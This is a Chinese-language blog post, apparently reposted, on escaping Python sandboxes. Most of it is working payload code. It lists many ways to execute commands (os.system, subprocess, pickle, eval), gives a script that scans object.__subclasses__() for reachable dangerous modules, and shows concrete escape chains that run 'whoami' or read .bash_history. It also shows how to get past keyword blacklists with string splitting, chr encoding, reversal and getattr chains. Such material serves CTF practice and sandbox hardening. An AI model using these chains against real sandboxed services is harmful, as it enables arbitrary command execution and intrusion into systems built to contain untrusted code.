Python沙箱逃逸
Python导入模块时,会先判断sys.modules是否已经加载了该模块,如果没有加载则从sys.path中的目录按照模块名查找py、pyc、pyd文件,找到后执行该文件载入内存并添加至sys.mo 2020-08-27 22:02:57 Author: hosch3n.github.io(查看原文) 阅读量:118 收藏

Python导入模块时,会先判断sys.modules是否已经加载了该模块,如果没有加载则从sys.path中的目录按照模块名查找pypycpyd文件,找到后执行该文件载入内存并添加至sys.modules中,再将模块名称导入Local命名空间。如果a.py中存在import b,则在import aab两个模块都会添加至sys.modules中,但仅将a导入Local命名空间。通过from x import y时,则将x添加至sys.modules中,将y导入Local命名空间。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import xxx

from xxx import *

__import__('xxx')

import sys
sys.modules['xxx']='blacklist'
del sys.modules['xxx']
import xxx

a = open('/usr/lib/python3.8/xxx.py').read()
exec(a)


execfile('/usr/lib/python2.7/xxx.py')
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
os.system('whoami')
os.popen('whoami').read()

os.popen2('whoami').read()
os.popen3('whoami').read()
...

subprocess.call('whoami', shell=True)
subprocess.check_call('whoami', shell=True)
subprocess.check_output('whoami', shell=True)
subprocess.Popen('whoami', shell=True)

subprocess.run('whoami', shell=True)
subprocess.getoutput('whoami')
subprocess.getstatusoutput('whoami')

platform.popen('whoami').read()


commands.getoutput('whoami')
commands.getstatusoutput('whoami')

timeit.timeit("__import__('os').system('whoami')", number=1)

bdb.os.system('whoami')

cgi.os.system('whoami')

importlib.import_module('os').system('whoami')

importlib.__import__('os').system('whoami')

pickle.loads(b"cos\nsystem\n(S'whoami'\ntR.")

eval("__import__('os').system('whoami')")
exec("__import__('os').system('whoami')")
exec(compile("__import__('os').system('whoami')", '', 'exec'))



pty.spawn('whoami')
pty.os.system('whoami')



open('.bash_history').read()
linecache.getlines('.bash_history')
codecs.open('.bash_history').read()


file('.bash_history').read()
types.FileType('.bash_history').read()
commands.getstatus('.bash_history')



foo.__code__.co_argcount

foo.func_code.co_argcount


foo.__code__.co_code

foo.func_code.co_code

...

Python将一些经常用到的函数放在了内建模块中,这些函数无需导入即可使用(比如evalopen),这个内建模块在Python2中叫作__builtin__、在Python3中叫作builtins,这两个都需要导入才可以引用,但可以通过__builtins__来间接引用而无需导入(有一点区别,但问题不大)。

1
2
3
4
5
6
del __builtins__.__dict__['__import__']
del __builtins__.__dict__['eval']
del __builtins__.__dict__['exec']
del __builtins__.__dict__['execfile']
del __builtins__.__dict__['getattr']
del __builtins__.__dict__['input']
1
2
3
4
5
6
imp.reload(__builtins__)


reload(__builtins__)


对于a模块嵌套导入的b模块中导入的xxx模块,可以通过a.b.xxx的方式来引用。如果标准库中嵌套导入了危险模块则会成为一个潜在风险,但是标准库也是需要先导入才能用的,如何才能打破僵局让潜在风险可被利用呢?

在Python3中所有的类都默认继承自object类、继承object的全部方法,在Python2中类默认为classobj,只有['__doc__', '__module__']两个方法,除非显式声明继承自object类。

Python建议类的protected类型、private类型及内部变量分别以_xxx__yyy__zzz__的形式命名,但这仅是一种代码风格规范,并未在语言层面作任何限制。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
object

[].__class__.__base__
().__class__.__base__
{}.__class__.__base__
[].__class__.__bases__[0]
().__class__.__bases__[0]
{}.__class__.__bases__[0]
[].__class__.__mro__[1]
().__class__.__mro__[1]
{}.__class__.__mro__[1]


''.__class__.__base__
''.__class__.__mro__[1]


''.__class__.__mro__[2]


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92



import sys





modules2 = ['_abcoll', 'abc', 'aifc', 'anydbm', 'argparse.egg-info', 'argparse', 'ast', 'asynchat', 'asyncore', 'atexit', 'audiodev', 'base64', 'BaseHTTPServer', 'Bastion', 'bdb', 'binhex', 'bisect', 'bsddb', 'calendar', 'CGIHTTPServer', 'cgi', 'cgitb', 'chunk', 'cmd', 'codecs', 'codeop', 'code', 'collections', 'colorsys', 'commands', 'compileall', 'compiler', 'ConfigParser', 'config-x86_64-linux-gnu', 'contextlib', 'cookielib', 'Cookie', 'copy', 'copy_reg', 'cProfile', 'csv', 'ctypes', 'curses', 'dbhash', 'decimal', 'difflib', 'dircache', 'dis', 'dist-packages', 'distutils', 'doctest', 'DocXMLRPCServer', 'dumbdbm', 'dummy_threading', 'dummy_thread', 'email', 'encodings', 'ensurepip', 'filecmp', 'fileinput', 'fnmatch', 'formatter', 'fpformat', 'fractions', 'ftplib', 'functools', '__future__', 'genericpath', 'getopt', 'getpass', 'gettext', 'glob', 'gzip', 'hashlib', 'heapq', 'hmac', 'hotshot', 'htmlentitydefs', 'htmllib', 'HTMLParser', 'httplib', 'ihooks', 'imaplib', 'imghdr', 'importlib', 'imputil', 'inspect', 'io', 'json', 'keyword', 'lib2to3', 'lib-dynload', 'lib-tk', 'LICENSE.txt', 'linecache', 'locale', 'logging', '_LWPCookieJar', 'macpath', 'macurl2path', 'mailbox', 'mailcap', 'markupbase', 'md5', 'mhlib', 'mimetools', 'mimetypes', 'MimeWriter', 'mimify', 'modulefinder', '_MozillaCookieJar', 'multifile', 'multiprocessing', 'mutex', 'netrc', 'new', 'nntplib', 'ntpath', 'nturl2path', 'numbers', 'opcode', 'optparse', 'os2emxpath', 'os', '_osx_support', 'pdb.doc', 'pdb', '__phello__.foo', 'pickle', 'pickletools', 'pipes', 'pkgutil', 'platform', 'plat-x86_64-linux-gnu', 'plistlib', 'popen2', 'poplib', 'posixfile', 'posixpath', 'pprint', 'profile', 'pstats', 'pty', 'pyclbr', 'py_compile', 'pydoc_data', 'pydoc', '_pyio', 'Queue', 'quopri', 'random', 'repr', 're', 'rexec', 'rfc822', 'rlcompleter', 'robotparser', 'runpy', 'sched', 'sets', 'sgmllib', 'sha', 'shelve', 'shlex', 'shutil', 'SimpleHTTPServer', 'SimpleXMLRPCServer', 'sitecustomize', 'site', 'smtpd', 'smtplib', 'sndhdr', 'socket', 'SocketServer', 'sqlite3', 'sre_compile', 'sre_constants', 'sre_parse', 'sre', 'ssl', 'stat', 'statvfs', 'StringIO', 'stringold', 'stringprep', 'string', '_strptime', 'struct', 'subprocess', 'sunaudio', 'sunau', 'symbol', 'symtable', '_sysconfigdata', 'sysconfig', 'tabnanny', 'tarfile', 'telnetlib', 'tempfile', 'test', 'textwrap', '_threading_local', 'threading', 'timeit', 'toaiff', 'tokenize', 'token', 'traceback', 'trace', 'tty', 'types', 'unittest', 'urllib2', 'urllib', 'urlparse', 'UserDict', 'UserList', 'user', 'UserString', 'uuid', 'uu', 'warnings', 'wave', 'weakref', '_weakrefset', 'webbrowser', 'whichdb', 'wsgiref', 'wsgiref.egg-info', 'xdrlib', 'xml', 'xmllib', 'xmlrpclib', 'zipfile']


modules3 = ['abc', 'aifc', 'argparse', 'ast', 'asynchat', 'asyncio', 'asyncore', 'base64', 'bdb', 'binhex', 'bisect', '_bootlocale', 'bz2', 'calendar', 'cgi', 'cgitb', 'chunk', 'cmd', 'codecs', 'codeop', 'code', 'collections', '_collections_abc', 'colorsys', '_compat_pickle', 'compileall', '_compression', 'concurrent', 'config-3.8-x86_64-linux-gnu', 'configparser', 'contextlib', 'contextvars', 'copy', 'copyreg', 'cProfile', 'crypt', 'csv', 'ctypes', 'curses', 'dataclasses', 'datetime', 'dbm', 'decimal', 'difflib', 'dis', 'dist-packages', 'distutils', 'doctest', 'dummy_threading', '_dummy_thread', 'email', 'encodings', 'ensurepip', 'enum', 'filecmp', 'fileinput', 'fnmatch', 'formatter', 'fractions', 'ftplib', 'functools', '__future__', 'genericpath', 'getopt', 'getpass', 'gettext', 'glob', 'gzip', 'hashlib', 'heapq', 'hmac', 'html', 'http', 'imaplib', 'imghdr', 'importlib', 'imp', 'inspect', 'io', 'ipaddress', 'json', 'keyword', 'lib2to3', 'lib-dynload', 'LICENSE.txt', 'linecache', 'locale', 'logging', 'lzma', 'mailbox', 'mailcap', '_markupbase', 'mimetypes', 'modulefinder', 'multiprocessing', 'netrc', 'nntplib', 'ntpath', 'nturl2path', 'numbers', 'opcode', 'operator', 'optparse', 'os', '_osx_support', 'pathlib', 'pdb', '__phello__.foo', 'pickle', 'pickletools', 'pipes', 'pkgutil', 'platform', 'plistlib', 'poplib', 'posixpath', 'pprint', 'profile', 'pstats', 'pty', '_py_abc', 'pyclbr', 'py_compile', '_pydecimal', 'pydoc_data', 'pydoc', '_pyio', 'queue', 'quopri', 'random', 'reprlib', 're', 'rlcompleter', 'runpy', 'sched', 'secrets', 'selectors', 'shelve', 'shlex', 'shutil', 'signal', '_sitebuiltins', 'sitecustomize', 'site', 'smtpd', 'smtplib', 'sndhdr', 'socket', 'socketserver', 'sqlite3', 'sre_compile', 'sre_constants', 'sre_parse', 'ssl', 'statistics', 'stat', 'stringprep', 'string', '_strptime', 'struct', 'subprocess', 'sunau', 'symbol', 'symtable', '_sysconfigdata__linux_x86_64-linux-gnu', '_sysconfigdata__x86_64-linux-gnu', 'sysconfig', 'tabnanny', 'tarfile', 'telnetlib', 'tempfile', 'test', 'textwrap', '_threading_local', 'threading', 'timeit', 'tkinter', 'tokenize', 'token', 'traceback', 'tracemalloc', 'trace', 'tty', 'turtle', 'types', 'typing', 'unittest', 'urllib', 'uuid', 'uu', 'venv', 'warnings', 'wave', 'weakref', '_weakrefset', 'webbrowser', 'wsgiref', 'xdrlib', 'xml', 'xmlrpc', 'zipapp', 'zipfile', 'zipimport']


methods = ['sys', 'os', 'system', 'popen', 'subprocess', 'platform', 'commands', 'timeit', 'bdb', 'cgi', 'importlib', 'pickle', 'pty', '__builtins__', '__import__', 'import_module', 'eval', 'exec', 'spawn', 'file', 'linecache', 'types']


types = ['', [], (), {}]


subclasses = {}


risk_modules = {}


for i in range(0, len(object.__subclasses__())):
try:
subclasses[i] = object.__subclasses__()[i].__init__.__globals__.keys()
except Exception as e:

pass

print('------------------------------ 思路二 ------------------------------')


for i, submodules in subclasses.items():
for submodule in submodules:
for method in methods:
if method == submodule:

print("object.__subclasses__()[{i}].__init__.__globals__['{method}']".format(i=i, method=method))

print('------------------------------ 缓冲区 ------------------------------')


if (sys.version_info[0]) == 3:
modules = modules3
else:
modules = modules2


for module in modules:
risk_modules[module] = []
try:
m = __import__(module)
attrs = dir(m)
for method in methods:
if method in attrs:
risk_modules[module].append(method)
except Exception as e:

pass

print('------------------------------ 思路三 ------------------------------')


for i, submodules in subclasses.items():
for submodule in submodules:
for risk_module in risk_modules.keys():
if risk_module == submodule:
for method in risk_modules[risk_module]:

print("object.__subclasses__()[{i}].__init__.__globals__['{risk_module}'].__dict__['{method}']".format(i=i, risk_module=risk_module, method=method))

print('------------------------------ 思路四 ------------------------------')


for t in types:
for method in dir(t):

c = str(t.__getattribute__(method).__class__)

c2 = "<type 'builtin_function_or_method'>"

c3 = "<class 'builtin_function_or_method'>"
if c == c2 or c == c3:

if t == '':
t = "''"
print("{t}.{method}.__class__.__call__".format(t=t, method=method))
1
2
3
4
5
6

object.__subclasses__()[37].__call__(eval, "__import__('os').system('whoami')")


object.__subclasses__()[29].__call__(eval, "__import__('os').system('whoami')")
object.__subclasses__()[40]('.bash_history').read()
1
2
3
4
5
6
7
8
9

object.__subclasses__()[134].__init__.__globals__['sys'].modules['os'].system('whoami')

object.__subclasses__()[59].__init__.__globals__['sys'].modules['os'].system('whoami')


object.__subclasses__()[134].__init__.__globals__['__builtins__']['__import__']('os').system('whoami')

object.__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('os').system('whoami')
1
2
3
4

object.__subclasses__()[170].__init__.__globals__['_collections_abc'].__dict__['sys'].modules['os'].system('whoami')

object.__subclasses__()[59].__init__.__globals__['linecache'].__dict__['sys'].modules['os'].system('whoami')
1
2
3
4

object.__subclasses__()[134]()._module.__builtins__['__import__']('os').system('whoami')

object.__subclasses__()[59]()._module.__builtins__['__import__']('os').system('whoami')
1
[].append.__class__.__call__(eval, "__import__('os').system('whoami')")

有些时候并不是删掉了某个危险模块,而是设置了一个输入关键字黑名单。如果是利用链中的字符串类型可以通过拼接、编码、倒序等多种方式绕过,如果是方法或属性可以通过同义替换绕过。

1
2
3
4
5
6

"__im"+"port__('o"+"s').sy"+"stem('who"+"ami')"

eval(chr(95)+chr(95)+chr(105)+chr(109)+chr(112)+chr(111)+chr(114)+chr(116)+chr(95)+chr(95)+chr(40)+chr(39)+chr(111)+chr(115)+chr(39)+chr(41)+chr(46)+chr(115)+chr(121)+chr(115)+chr(116)+chr(101)+chr(109)+chr(40)+chr(39)+chr(119)+chr(104)+chr(111)+chr(97)+chr(109)+chr(105)+chr(39)+chr(41))

")'imaohw'(metsys.)'so'(__tropmi__"[::-1]
1
2

().__class__.__bases__.__getitem__(0).__subclasses__().pop(37)
1
getattr(getattr(getattr(getattr(getattr((),'__class__'),'__bases__'),'__getitem__')(0),'__subclasses__')(),'pop')(37)
1
getattr(getattr(getattr(getattr(getattr((),dir(0)[0][0]*2+'class'+dir(0)[0][0]*2),dir(0)[0][0]*2+'bases'+dir(0)[0][0]*2),dir(0)[0][0]*2+'getitem'+dir(0)[0][0]*2)(0),dir(0)[0][0]*2+'subclasses'+dir(0)[0][0]*2)(),'pop')(37)

文章来源: https://hosch3n.github.io/2020/08/27/Python%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8/
如有侵权请联系:admin#unsafe.sh